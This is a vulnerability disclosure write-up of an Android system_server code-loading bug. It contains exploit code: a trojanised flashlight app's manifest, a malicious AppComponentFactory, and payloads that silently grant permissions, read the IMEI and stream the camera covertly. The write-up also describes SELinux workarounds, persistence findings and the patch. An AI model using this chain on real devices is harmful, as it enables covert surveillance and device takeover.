Background - Android's Permission Model and system_server

Android's security model is built on Linux process isolation. Every app gets its own UID, its own sandbox. Your banking app cannot read your messaging app's data. They are completely separated at the kernel level.

Permissions come in three tiers:

TierExamplesGrant Method
NormalINTERNET, MANAGE_OWN_CALLSAuto-granted at install. No user prompt.
DangerousCAMERA, READ_CONTACTSRequires explicit user approval via dialog.
SignatureWRITE_SECURE_SETTINGSReserved for system apps signed with platform key.

At the top of this hierarchy sits system_server - the single most powerful process on any Android device. Running as UID 1000, it manages permissions, telephony, Bluetooth, settings, package installation, and virtually every system service. If you can run code as UID 1000, you own the device. You are the system.

Key Insight MANAGE_OWN_CALLS is a normal permission. It is auto-granted at install with no user prompt. It lets you call TelecomManager.addCall(). That single API is the only entry point this entire exploit needs.

The Vulnerability - Code Loading in serviceClassExists()

Inside the Telecom framework, InCallController has a method called serviceClassExists(). Its stated purpose is simple: check whether an app has a valid InCallService class. But the implementation is catastrophic.

Java InCallController.java (simplified)
// Inside system_server process
private boolean serviceClassExists(String packageName) {
    Context packageContext = mContext.createPackageContextAsUser(
        packageName,
        CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY,  // ← the bug
        userHandle
    );
    ClassLoader cl = packageContext.getClassLoader();
    // getClassLoader() calls AppComponentFactory.instantiateClassLoader()
    // which is ATTACKER-CONTROLLED CODE running in system_server
    ...
}

Two flags do the damage:

CONTEXT_INCLUDE_CODE tells the system to load the app's code (DEX/classloader) into the calling process. CONTEXT_IGNORE_SECURITY tells it to skip any security checks that would normally prevent this. The calling process is system_server.

When getClassLoader() is called on this context, Android's runtime invokes AppComponentFactory.instantiateClassLoader() - a method the app developer defines. The app's code now executes inside system_server, with UID 1000 privileges.

Critical Severity This is not a memory corruption bug. It is not a race condition. It is a straightforward logic error: the system voluntarily loads and executes untrusted code in the most privileged process on the device. No exploit mitigations (ASLR, stack canaries, CFI) can prevent it because there is nothing to corrupt - the system is doing exactly what the code tells it to.

Trigger Mechanism - Three Lines in AndroidManifest

Setting up the exploit requires three declarations in the app's AndroidManifest.xml:

XML AndroidManifest.xml
<!-- 1. Auto-granted permission  - the only entry point needed -->
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />

<!-- 2. Custom AppComponentFactory  - our code runs here -->
<application
    android:appComponentFactory=".EvilFactory"
    tools:replace="android:appComponentFactory">

    <!-- 3. Fake InCallService with CLASS_EXISTENCE_CHECK -->
    <service
        android:name=".DummyService"
        android:permission="android.permission.BIND_INCALL_SERVICE"
        android:exported="true">
        <meta-data
            android:name="android.telecom.CLASS_EXISTENCE_CHECK"
            android:value="true" />
        <intent-filter>
            <action android:name="android.telecom.InCallService" />
        </intent-filter>
    </service>
</application>

The DummyService class intentionally does not exist. The CLASS_EXISTENCE_CHECK metadata tells InCallController to call serviceClassExists() - which triggers the vulnerable code path. The app simply calls TelecomManager.addCall() and the system does the rest.

The trigger code is one line:

Kotlin MainActivity.kt
// Called when user taps the torch button
val telecom = getSystemService(TelecomManager::class.java)
telecom.addCall(callAttributes)  // Triggers InCallController → exploit

Exploit Chain - From Torch Tap to UID 1000

The exploit is disguised as a flashlight app called "Torch". Here is what happens when the user taps the torch button:

User installs "Torch" flashlight app MANAGE_OWN_CALLS auto-granted. CAMERA declared for torch. Looks completely normal.
User taps torch button CameraManager.setTorchMode() fires - flashlight actually turns on. User sees nothing suspicious.
TelecomManager.addCall() fires silently Hidden in the torch toggle callback. Requires only MANAGE_OWN_CALLS (already auto-granted).
InCallController.serviceClassExists() triggered System sees the CLASS_EXISTENCE_CHECK metadata on our fake InCallService. Calls createPackageContextAsUser() with CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY.
EvilFactory.instantiateClassLoader() executes in system_server getClassLoader() triggers our AppComponentFactory. Attacker code now runs as UID 1000.
Payloads execute with full system privileges BT name change, ADB WiFi, IMEI read, silent CAMERA grant, off-screen camera streaming.

The EvilFactory guards against running in the app's own process - it only fires when UID does not match the app's UID, meaning it is running inside system_server:

Kotlin EvilFactory.kt
class EvilFactory : AppComponentFactory() {
    override fun instantiateClassLoader(cl: ClassLoader, aInfo: ApplicationInfo): ClassLoader {
        if (Process.myUid() == aInfo.uid) return super.instantiateClassLoader(cl, aInfo)
        // We are in system_server (UID 1000)
        Thread { ExploitPayload.run(aInfo.packageName) }.start()
        return super.instantiateClassLoader(cl, aInfo)
    }
}

What UID 1000 Can Do - Demonstrated Capabilities

With code execution as system_server, the attacker has the same power as the Android system itself. We verified each of these capabilities on a stock Android 17 emulator.

System Settings Modification

UID 1000 can write to Settings.Global and Settings.Secure - stores that normally require WRITE_SECURE_SETTINGS (a signature-level permission impossible for third-party apps to obtain).

Kotlin ExploitPayload.kt - changeBtName()
// Change Bluetooth device name  - requires WRITE_SECURE_SETTINGS
Settings.Global.putString(cr, "bluetooth_name", "CVE-2026-49881")
Settings.Global.putString(cr, "device_name", "CVE-2026-49881")
BluetoothAdapter.getDefaultAdapter()?.name = "CVE-2026-49881"

// Enable ADB over WiFi  - instant remote shell access
Settings.Global.putInt(cr, "adb_wifi_enabled", 1)

Changing the Bluetooth name is the primary visual proof during our demo - it is immediately visible in Settings. Enabling ADB WiFi gives an attacker on the same network a full shell with adb connect.

Silent Permission Grants

This is arguably the most dangerous capability. UID 1000 can call PackageManager.grantRuntimePermission() to silently grant any dangerous permission to any app - no dialog, no notification, no user consent.

Kotlin ExploitPayload.kt - grantCameraPermission()
val pm = ctx.packageManager
val method = pm.javaClass.getMethod(
    "grantRuntimePermission",
    String::class.java, String::class.java, UserHandle::class.java
)
method.invoke(pm, packageName, "android.permission.CAMERA", Process.myUserHandle())
// CAMERA permission granted. No dialog. No notification.
Permissions Survive Reboot Once silently granted, runtime permissions persist in the system's permission database. They survive reboots, app updates, and battery pulls. The user never consented and has no indication the permission was granted - unless they manually check Settings > Apps > Permissions.

IMEI Exfiltration

Reading the IMEI normally requires READ_PRIVILEGED_PHONE_STATE - a permission reserved exclusively for system apps. From UID 1000, it is a direct API call:

Kotlin ExploitPayload.kt - readImei()
val tm = ctx.getSystemService(TelephonyManager::class.java)
val imei = tm.getImei(0)  // No permission declared anywhere in the app

Silent Camera Streaming

After silently granting CAMERA permission, the exploit starts a foreground service that captures camera frames entirely off-screen using Camera2 API with ImageReader (no SurfaceView - nothing appears on the device display). Frames are streamed as MJPEG over HTTP on port 8888. Any browser on the same network can view the live feed.

The camera service runs as foregroundServiceType="dataSync" and survives the user swiping the app from recents. The only on-device indicator is the green privacy dot in the status bar - and most users do not know what it means.

Why dataSync Instead of camera? Using foregroundServiceType="camera" triggers Android's validateForegroundServiceType() check, which verifies that CAMERA permission was granted before the service started. Because the permission grant and service start happen nearly simultaneously from system_server, there is a race. Using "dataSync" avoids this check entirely while still keeping the service alive.

SELinux - Defense in Depth, Not a Silver Bullet

Android's SELinux policy did block several actions we attempted from the system_server context. But it could not prevent the initial code execution - that is a logic bug in Java code, not a policy violation that SELinux can intercept.

ActionSELinux ResultWorkaround
Direct camera access from system_serverDeniedGrant permission to app, camera runs in app process
Execute am / pm shell binariesDeniedUse Java reflection - Context.startForegroundService()
Write to app data directoriesDeniedUse Settings.Global as shared state
setprop system propertiesDeniedUse Settings.Global writes instead
Call grantRuntimePermission()AllowedNo workaround needed - direct call works
Write to Settings.GlobalAllowedNo workaround needed
Read IMEI via TelephonyManagerAllowedNo workaround needed
Start foreground service in other appAllowedNo workaround needed
The Lesson SELinux is essential defense-in-depth. It constrained what we could do from system_server and forced us to find alternative paths. But it could not prevent the root cause - a Java-level logic bug that voluntarily loads attacker code. You need multiple layers. SELinux alone is never enough.

Persistence - What Survives a Reboot

We tested what persists across a device reboot:

ArtifactSurvives Reboot?Notes
Silently granted permissionsYes - permanentlyStored in system permission database. No user consent recorded.
Settings.Global writesYesBT name, ADB WiFi, device name all persist.
BluetoothAdapter.setName()YesWritten to native BT stack. Survives toggle. Only cleared by reboot + Settings.Global restore.
Exploit thread in system_serverNoThread dies on reboot. Must re-trigger to get code execution again.
Camera streamingNoForeground service stops on reboot. But CAMERA permission persists - can be restarted.

The critical finding: silently granted permissions persist forever. Even after a reboot, the app retains every dangerous permission that was granted without the user's knowledge. The exploit thread itself dies, but the damage is already done - the app can now use CAMERA, CONTACTS, SMS, LOCATION, and any other permission it was silently granted, without needing to re-trigger the exploit.

No App Can Block This Because the exploit fires inside system_server, no third-party app - antivirus, firewall, or permission manager - can intercept or prevent it. The only mitigation is a system update that patches the vulnerable code path.

The Fix and Mitigation

Google's fix was straightforward: remove the CONTEXT_IGNORE_SECURITY flag from serviceClassExists(). The class existence check no longer loads app code in system_server.

Diff InCallController.java - the fix
 Context packageContext = mContext.createPackageContextAsUser(
     packageName,
-    CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY,
+    0,  // No code loading, no security bypass
     userHandle
 );

For users:

Update to the latest Android security patch. Be cautious of apps requesting MANAGE_OWN_CALLS if they do not obviously need VoIP functionality. If you see an unexpected green privacy dot in the status bar, investigate - go to Settings > Privacy > Permission manager > Camera.

For framework engineers:

Never use CONTEXT_INCLUDE_CODE with untrusted packages. Validate every code loading path in system services. Treat every IPC boundary as a potential security boundary. The combination of CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY should be treated as a red flag during code review.

Demo - Proof of Concept

We built a fully functional proof-of-concept: a flashlight app called "Torch" that demonstrates the complete exploit chain. The app actually works as a flashlight - the exploit fires silently in the background when the user taps the torch button.

The PoC includes:

• A demo automation script for conference presentations
• An MJPEG camera stream viewer for the presenter's laptop
• Full revert functionality - long-press the torch button to undo all changes

Source Code Available The complete proof-of-concept, demo script, and presentation materials are available on GitHub:
github.com/cyb3r-w0lf/CVE-2026-49881

References

Advisory source.android.com
Android Security Bulletin - CVE-2026-49881

Google's official security advisory for this vulnerability, including affected versions and patch information.

Patch android.googlesource.com
AOSP Commit - Remove CONTEXT_IGNORE_SECURITY from serviceClassExists()

The upstream patch that removes the dangerous flag combination from InCallController.serviceClassExists().

PoC github.com
CVE-2026-49881 Proof of Concept - Torch Demo App

Complete proof-of-concept source code, demo automation script, and conference presentation materials.

Vendor developer.android.com
Android Documentation - Context Flags (CONTEXT_INCLUDE_CODE)

Official Android documentation for the Context flags used in the vulnerable code path.